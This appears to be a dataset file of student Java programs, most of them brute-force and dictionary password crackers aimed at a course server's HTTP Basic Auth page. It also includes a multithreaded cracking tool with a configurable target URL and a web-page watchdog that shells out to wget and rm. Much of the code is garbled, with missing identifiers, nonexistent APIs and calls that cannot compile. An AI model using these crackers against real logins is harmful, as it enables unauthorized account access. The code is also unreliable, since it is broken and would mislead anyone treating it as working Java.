e.printStackTrace(); buffer = """"; return false; } } public void print(String data) { buffer += data; } public void println(String data) { buffer += data+""\n""; } public void cancel() { buffer = """"; } } " 234.java,"import java.io.*; import java.*; import java.net.*; public class Dictionary { public static void main (String[] args) throws Exception { System.out.println(""Congratulations Your password is ""+ checkPassword() ); } private static String checkPassword() throws Exception { FileReader fRead; BufferedReader buf1, buf2; String password="" ""; try { fRead= new FileReader(""/usr/share/lib/dict/words""); buf1 = new BufferedReader(fRead); buf2 = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); password= fileRead(buf1, buf2); System.out.println(""Password is loop2 CheckPassword:""+password); return password; } catch (FileNotFoundException e) { System.err.println(""File not found:""+e.getMessage()); System.exit(1); } catch (IOException ioe) { System.err.println(""IOE error: ""+ioe.getMessage()); System.exit(1); } return password; } private static String fileRead(BufferedReader buf1, BufferedReader buf2) throws Exception { String password = "" ""; String password1="" ""; String passwd = null; int countLength1=0; int countLength2=0; int countLength3=0; while ((password = buf1.readLine()) != null) { if (password.length()<= 3) { if (password.length()==1) { countLength1++; } else if (password.length()==2) { countLength2++; } else { countLength3++; } } } System.out.println(countLength1+"" ""+countLength2+"" ""+countLength3); String[] wordSize1=new String[countLength1]; String[] wordSize2=new String[countLength2]; String[] wordSize3=new String[countLength3]; int a=0; int b=0; int c=0; while ((password1 = buf2.readLine()) != null) { if (password1.length()<= 3) { if (password1.length()==1) { wordSize1[a++]=password1; } else if (password1.length()==2) { wordSize2[b++]=password1; } else { wordSize3[c++]=password1; } } } passwd = getPasswordRuns4(wordSize3); if (passwd==null) { passwd = getPasswordRuns3(wordSize1,wordSize2); if (passwd==null) { passwd = getPasswordRuns2(wordSize1,wordSize2); if(passwd==null) { passwd = getPasswordRuns1(wordSize1); } } } return passwd; } private static String getPasswordRuns2(String[] wordSize1,String[] wordSize2) throws Exception { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection sec; String password="" ""; String passwd="" ""; for (int i=0; i< wordSize1.length; i++) { for (int j=0; j< wordSize2.length; j++) { String userPasswd= "":""+wordSize1[i]+wordSize2[j]; System.out.println(userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) { passwd=password; return passwd; } sec.disconnect(); } } return null; } private static String getPasswordRuns3(String[] wordSize1,String[] wordSize2) throws Exception { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection sec; String password="" ""; String passwd=null; for (int i=0; i< wordSize2.length; i++) { for (int j=0; j< wordSize1.length; j++) { password= wordSize2[i]+wordSize1[j]; String userPasswd= "":""+password; sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) { passwd=password; return passwd; } sec.disconnect(); } } return null; } private static String getPasswordRuns4(String[] wordSize3) throws Exception { int attempt=0; URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection sec; String password="" ""; String passwd=null; for (int i=0; i< wordSize3.length; i++) { attempt++; password= wordSize3[i]; String userPasswd= "":""+password; System.out.println(attempt+"" ""+userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) { passwd=password; return passwd; } sec.disconnect(); } return ""Password not found""; } private static String getPasswordRuns1(String[] wordSize1) throws Exception { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection sec; String password="" ""; String passwd=null; for (int i=0; i< wordSize1.length; i++) { for (int j=0; j< wordSize1.length; j++) { for (int k=0; k< wordSize1.length; k++) { password= wordSize1[i]+wordSize1[j]+wordSize1[k]; String userPasswd= "":""+password; System.out.println(userPasswd); sec = (HttpURLConnection)url.openConnection(); sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) { passwd=password; System.out.println(""Password is loop1 readfile:""+password); return passwd; } sec.disconnect(); } } } return passwd; } private static String encode(String userPasswd) throws Exception { String ; String encodedUserPasswd="" ""; String addr= ""~//base64_encode.php ""+userPasswd ; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", addr}); BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream())); while ( (bf = resp.readLine()) != null ) { encodedUserPasswd=bf.get; } return encodedUserPasswd; } } " 048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 165.java," package java.httputils; import java.io.BufferedInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; import java.sql.Timestamp; public class HttpRequestClient { protected URL serverURL; protected java.net.HttpURLConnection httpConnection; protected Timestamp start; protected Timestamp end; protected StringBuffer content = new StringBuffer(); protected int millis; protected int code; public HttpRequestClient(String url) throws MalformedURLException, IOException { setServerURL(new URL(url)); setStart(new Timestamp(System.currentTimeMillis())); setHttpConnection( (HttpURLConnection)this.getServerURL().openConnection()); doRequest(); } public HttpRequestClient() { super(); } public int doRequest() throws IOException { String retVal = null; int url = HttpURLConnection.HTTP_UNAUTHORIZED; BufferedInputStream stream = null; try { stream s = new BufferedInputStream(getHttpConnection().getInputStream()); s= getHttpConnection().getResponseCode(); if (s == HttpURLConnection.HTTP_UNAUTHORIZED) { return s; } int c = -1; while ((c = stream.get()) != -1) { getContent().append((char)c); } setEnd(new Timestamp(System.currentTimeMillis())); } catch (IOException e) { this.setCode(getHttpConnection().getResponseCode()); throw e; } finally { if (stream != null) stream.close(); } return ; } public static void main(String[] args) { HttpRequestClient client = null; try { client = new HttpRequestClient(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (client != null) { System.out.println( ""Request processing time (milliseconds): "" + (client.getEnd().getTime() - client.getStart().getTime())); System.out.println( ""Request content: \n"" + client.getContent()); } } } public HttpURLConnection getHttpConnection() { return httpConnection; } public URL getServerURL() { return serverURL; } public void setHttpConnection(java.net.HttpURLConnection connection) { httpConnection = connection; } public void setServerURL(URL url) { serverURL = url; } public StringBuffer getContent() { return content; } public Timestamp getEnd() { return end; } public Timestamp getStart() { return ; } public void setContent(StringBuffer buffer) { content = buffer; } public void setEnd(Timestamp timestamp) { end = timestamp; } public void setStart(Timestamp timestamp) { start = timestamp; } public getMillis() { return getEnd().getTime() - getStart().getTime(); } public int getCode() { return code; } public void setCode(int i) { code = i; } } " 205.java," import java.util.*; import java.io.*; public class DicReader { private Vector v; public DicReader( String fileName) { boolean flag = true; String line; v = new Vector( 50); try { BufferedReader in = new BufferedReader( new FileReader( fileName)); while(( line = in.readLine()) != null) { flag = true; if( line.length() > 0 && line.length() < 4 ) { for( int i = 0; i < line.length(); i++) { if( Character.isLetter( line.charAt( i)) == false) { flag = false; } } if( flag == true) { v.add( line); } } } in.print(); } catch( IOException e) { System.out.println( "" not open the file!""); System.exit( 0); } } public Vector getVictor() { return v; } public static void main ( String [] args) { DicReader fr = new DicReader( ""/usr/share/lib/dict/words""); System.out.println( "" far ""+fr.getVictor().size()+"" combinations loaded""); } } " 085.java," import java.Thread; import java.io.*; import java.net.*; public class Dictionary extends Thread { final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; Dictionary parent; static LineNumberReader lnr; public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; String word = """"; starttime = System.currentTimeMillis(); try { boolean passwordOkay; while(word != null && !parent.solved) { passwordOkay = false; while(!passwordOkay || word == null) { word = lnr.readLine(); passwordOkay = true; if(word.length() != 3) passwordOkay = false; } response = tryLogin(word); x++; if(response == SUCCESS) { System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ word); parent.solved = true; } if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ word +"")""); } } catch(Exception e) { System.err.println(""Error while from dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); } if(response == SUCCESS) { System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec.""); System.out.println(""Thread . "" + threadno + "" was the one!""); } } public static void main (String[] args) { Dictionary parent; try { lnr = new LineNumberReader(new FileReader(""/usr/share/lib/dict/words"")); } catch(Exception e) { System.err.println(""Error while loading dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); } Dictionary[] attackslaves = new Dictionary[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println(""Usage: Dictionary ""); System.out.println("" arguments specified, using standard values.""); host = ""sec-crack.cs.rmit.edu.""; path = ""/SEC/2/index.php""; user = """"; } System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); System.out.println(""Using "" + attackslaves.length + "" happy threads...""); parent = new Dictionary(host, path, user, 0, 0, null, lnr); for(int i=0; i ""); System.exit(0); } Runtime.getRuntime().exec(""rm LastWatch.html""); Runtime.getRuntime().exec(""rm WatchDog.ini""); Thread.sleep(1000); while (true) { WatchDog myWatchDog = new WatchDog(); myWatchDog.readHTML(args[0], args[1]); Runtime.getRuntime().exec(""rm Report.txt""); Runtime.getRuntime().exec(""rm diffReport.txt""); Runtime.getRuntime().exec(""rm NewWatch.txt""); System.out.println("" check after 2 ... press Ctrl-Z suspend WatchDog...""); Thread.sleep(2*60*1000); } } catch (Exception e) { e.printStackTrace(); } } void readHTML (String strHTML, String userName) { Properties myProp = loadLastMD5 (); try { System.out.println(""Running WatchDog \"""" + strHTML + ""\"" ...... Please Wait....""); URL url = new URL (strHTML); String strHost = url.getHost().toLowerCase(); Runtime r = Runtime.getRuntime(); InputStream in = url.openStream(); DataInputStream bf = new DataInputStream (in); FileOutputStream fOut = new FileOutputStream (""Watch.html""); DataOutputStream dOut = new DataOutputStream (fOut); Vector vtrImages = new Vector (); while ( bf!= null) { String str = bf.readLine(); if (str == null) break; if ( str.toLowerCase().indexOf(""img"") > 0 ) { int indexImg = str.toLowerCase().indexOf(""img""); int indexImgUrl = str.toLowerCase().indexOf(""\"""", indexImg); int indexImgUrlEnd = str.toLowerCase().indexOf(""\"""", indexImgUrl+1); String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd); if (strImage.toLowerCase().indexOf(strHost) > 0) { int index = strImage.toLowerCase().indexOf(strHost) + strHost.length(); strImage = strImage.toLowerCase().substring(index); } if (!vtrImages.contains(strImage.toLowerCase())) vtrImages.add (strImage.toLowerCase()); } dOut.writeBytes(str+""\n""); } dOut.print(); fOut.print(); for (int i=0 ; i < vtrImages.size() ; i ++) { r.exec(""wget "" + strHost + vtrImages.get(i).toString().trim()); } Thread.sleep(2000); String [] command = {""//sh"", ""-c"",""md5sum *.* > NewWatch.txt""}; Runtime.getRuntime().exec(command); Thread.sleep(1000); FileInputStream fIn = new FileInputStream (""NewWatch.txt""); DataInputStream = new DataInputStream (fIn); Properties prop = new Properties (); while ( bf != null) { String str = bf.readLine(); if (str == null) break; int index = str.indexOf("" ""); if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase(""Watch.html"") ) prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase()); } fIn.close(); int isAnyChange = GenerateChangeFile (strHTML, myProp, prop); if (isAnyChange > 0) { if (isAnyChange == 2) { File f = new File (""LastWatch.html""); if (! f.exists()) { f.createNewFile(); Thread.sleep(1000); } String [] diffCommand = {""//sh"", ""-c"",""diff Watch.html LastWatch.html > diffReport.txt""}; Runtime.getRuntime().exec(diffCommand); Thread.sleep(2000); FileInputStream feIn = new FileInputStream (""diffReport.txt""); DataInputStream deIn = new DataInputStream (feIn); FileOutputStream feOut = new FileOutputStream (""Report.txt"", true); DataOutputStream deOut = new DataOutputStream (feOut); deOut.writeBytes(""\n\n\nDifferences in Target :\n\n""); while (deIn != null) { String str = deIn.readLine(); if (str == null) break; deOut.writeBytes(str + ""\n""); } deOut.print(); feOut.print(); deIn.close(); feIn.close(); } String [] mailCommand = {""//sh"", ""-c"",""less Report.txt | mail "" + userName}; Runtime.getRuntime().exec(mailCommand); System.out.println(""Mailing difference""); } else System.out.println("" difference detected""); Runtime.getRuntime().exec(""mv Watch.html LastWatch.html""); } catch (Exception e) { e.printStackTrace(); } } private Properties loadLastMD5 () { Properties myProp = new Properties (); try { myProp.load(new FileInputStream (""WatchDog.ini"")); } catch (Exception e) { } return myProp; } private boolean fileDownloaded (String strFile, Vector vtrImages) { for ( int i = 0 ; i < vtrImages.size() ; i ++ ) { String strImage = vtrImages.get(i).toString().trim(); if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 ) return true; } return false; } private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop) { int change = 0; boolean boolMainChange = false; try { FileOutputStream myOut = new FileOutputStream (""WatchDog.ini""); DataOutputStream myIniOut = new DataOutputStream (myOut); FileOutputStream fOut = new FileOutputStream (""Report.txt""); DataOutputStream dOut = new DataOutputStream (fOut); dOut.writeBytes(""Report of changes for \"""" + strUrl + ""\"":\n\n\n\n\n""); Enumeration e = prop.keys(); while (e.hasMoreElements()) { String file = e.nextElement().toString().toLowerCase().trim(); Runtime.getRuntime().exec(""rm "" + file); myIniOut.writeBytes(file.toLowerCase() + ""="" + prop.getProperty(file) + ""\n""); if (myProp.containsKey(file)) { String OldValue = myProp.getProperty(file); String newValue = prop.getProperty(file); if (OldValue != null && newValue != null) { if (!OldValue.trim().equals(newValue.trim())) { if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html"")) { dOut.writeBytes(""Traget html has been changed\n""); boolMainChange = true; } else dOut.writeBytes(""File \"""" + file + ""\"" has been changed\n""); change = 1; } } } else { if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html"")) { dOut.writeBytes(""Target html is checked for first time\n""); boolMainChange = true; } else dOut.writeBytes(""File \"""" + file + ""\"" is checked for first time and is new\n""); change = 1; } } dOut.print(); fOut.print(); myIniOut.close(); myOut.close(); } catch (Exception ex) { ex.printStackTrace (); } if (boolMainChange) return 2; return change; } }" 029.java," import java.net.*; import java.*; import java.io.*; import java.util.GregorianCalendar; public class Dictionary { public void crackAddress(String fileName) throws Exception { String line,username="""",passwd,pass; int flag=0,i; BufferedReader bf = new BufferedReader(new FileReader(fileName)); Runtime run = Runtime.getRuntime(); GregorianCalendar =new GregorianCalendar(); while((passwd=bf.readLine().trim())!=null) { if((i=passwd.indexOf(""\'""))!= -1) { passwd =passwd.substring(0,i)+(""\\"")+(passwd.substring(i,passwd.length())); } System.out.println(""Hack password with the word:""+passwd); String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump""; Process result = run.exec(command_line); BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream())); while((line=bf.readLine())!=null) { flag=1; break; } if(flag==1) { System.out.println(""The username is: ""+username+"" The password is: ""+passwd); break; } } GregorianCalendar end=new GregorianCalendar(); double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3; System.out.println(""The attack use""+time+"" seconds.""); } public static void main(String args[]) throws Exception { Dictionary ds = new Dictionary(); ds.crackAddress(args[0]); } }" 034.java," class LoginAttemptResults { private boolean success = false; private int passwordsTried = 0; public LoginAttemptResults() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPasswordsTried ( int inPasswordsTried) { passwordsTried = inPasswordsTried; } public int getPasswordsTried() { return passwordsTried; } } " 148.java," import java.net.*; import java.io.*; public class BruteForce { private static String password="" ""; public static void main(String[] args) { String Result=""""; if (args.length<1) { System.out.println(""Error: Correct Format Filename, username e.g<>""); System.exit(1); } BruteForce bruteForce1 = new BruteForce(); Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); System.out.println(""The Password of ""+args[0]+""is..""+Result); } private String Password(String urlString,String username) { int cnt=0; t0 = System.currentTimeMillis(); for ( char ch = 'A'; ch <= 'z'; ch++ ) { if (ch>'Z' && ch<'a') { ch='a'; } for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) { if (ch1>'Z' && ch1<'a') { ch1='a'; } for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) { if (ch2>'Z' && ch2<'a') { ch2='a'; } password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); System.out.print(""crackin...:""); System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); try { URL url = new URL (urlString); String userPassword=username+"":""+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc= url.openConnection(); conc.setRequestProperty (""Authorization"", "" "" + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) { t1 = System.currentTimeMillis(); net=t1-t0; System.out.println(""The Number of Attempts ""+cnt); System.out.println(""Total Time Taken in secs""+net/1000); return password; } } catch (Exception e ) { e.printStackTrace(); } } } } return ""Password could not found""; } }" 096.java," public class SMTPException extends Exception { private String msg; public SMTPException(String message) { msg = message; } public String getMessage() { return msg; } }" 062.java," import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;jALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount=0) { System.out.println(); System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); System.out.println(); System.out.println("" The password is : ""+passw); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } else { System.out.println(); System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); System.out.println(); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]""); System.out.println(); System.out.println("" mode : (opt) 0 - NAIVE Brute force mode""); System.out.println("" (trying from the first the last combinations)""); System.out.println("" 1 - ENHANCED Brute force mode""); System.out.println("" (dividing cracking jobs multiple threads) (default)""); System.out.println("" URL : (opt) the URL crack ""); System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); System.out.println("" charset : (optional) the character set used crack.""); System.out.println("" - (default)""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -alphanum ""); System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""); System.out.println("" -alphalow ""); System.out.println("" abcdefghijklmnopqrstuvwxyz""); System.out.println("" -alphaup ""); System.out.println("" ABCDEFGHIJKLMNOPQRSTUVWXYZ""); System.out.println("" -number ""); System.out.println("" 1234567890""); System.out.println("" [custom] e.g. aAbB123""); System.out.println("" , : (optional) range of characters applied in the cracking""); System.out.println("" where 1 <= <= 10 (default = 1)""); System.out.println("" <= <= 10 (default = 3)""); System.out.println("" username : (optional) the username that is used crack""); System.out.println(); System.out.println("" NOTE: The optional parameters 'charset','','', and 'username'""); System.out.println("" have specified altogether none at all.""); System.out.println("" For example, if [charset] is specified, then [], [], and""); System.out.println("" [username] have specified as well. If none of them specified,""); System.out.println("" default values used.""); System.out.println(); System.out.println("" Example of invocation :""); System.out.println("" java BruteForce ""); System.out.println("" java BruteForce 0""); System.out.println("" java BruteForce 1 http://localhost/tryme.php""); System.out.println("" java BruteForce 0 http://localhost/tryme.php - 1 3 ""); System.out.println("" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ""); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println(""Syntax error : invalid number '""+args[0]+""'""); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println(""Unable open connection the URL '""+args[1]+""'""); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println(""Invalid URL '""+args[1]+""'""); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[3]+""'""); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[4]+""'""); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println(""Invalid range number value '""+args[3]+""' (must between 0 and 10)""); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println(""Invalid range number value '""+args[3]+""' (must lower than the value)""); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println(""Invalid range number value '""+args[4]+""' (must between value and 10)""); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals(""-"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-alphanum"")) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""; } else if (args[2].toLowerCase().equals(""-alphalow"")) { charset = ""abcdefghijklmnopqrstuvwxyz""; } else if (args[2].toLowerCase().equals(""-alphaup"")) { charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ""; } else if (args[2].toLowerCase().equals(""-number"")) { charset = ""1234567890""; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println(""Please specify the [charset], [], [], and [username] altogether none at all""); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println(""The number of parameters expected is not more than 6. ""); System.out.println("" have specified more than 6 parameters.""); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = ""-""; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; public static boolean isenhanced; public static String passw = """"; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = """"; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; } " 175.java,"import java.io.*; import java.net.*; import java.util.*; public class BruteForce { public static void main(String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println(""The password is "" + password); } public static String getPassword(double startTime) { char first, second, third; String password=""""; int requests=0; for (int i=65; i<123; i++) { requests++; first = (char) i; password = first + """"; if (testPassword(password, startTime, requests)) return password; for (int j=65; j<123; j++) { requests++; second = (char) j; password = first + """" + second; if (testPassword(password, startTime, requests)) return password; for (int k=65; k<123; k++) { requests++; third = (char) k; password = first + """" + second + """" + third; if (testPassword(password, startTime, requests)) return password; if (k==90) k=96; } if (j==90) j=96; } if (i==90) i=96; } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); HttpURLConnection connection; String userPassword = "":"" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); try { connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); int status=connection.getResponseCode(); System.out.println(password + requests); if (status==200) { System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password.""); System.out.println("" were "" + requests + "" requests .""); return true; } return false; } catch (IOException ioe) { System.out.print(ioe); return false; } } catch (IOException MalformedURLException) { System.out.print(""Invalid URL""); return false; } } private static double getTime(double startTime) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double endTime = now.getTime(); return endTime-startTime; } } " 188.java," import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class BruteForce { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public BruteForce() { System.out.println(""Process is running...""); startTime = System.currentTimeMillis(); threeLetters(); twoLetters(); } public static void main (String args[]) { BruteForce bf = new BruteForce(); } public void threeLetters() { String s1; char [] a = {'a','a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { for (int i2 = 0; i2 < 26; i2++) { s1 = 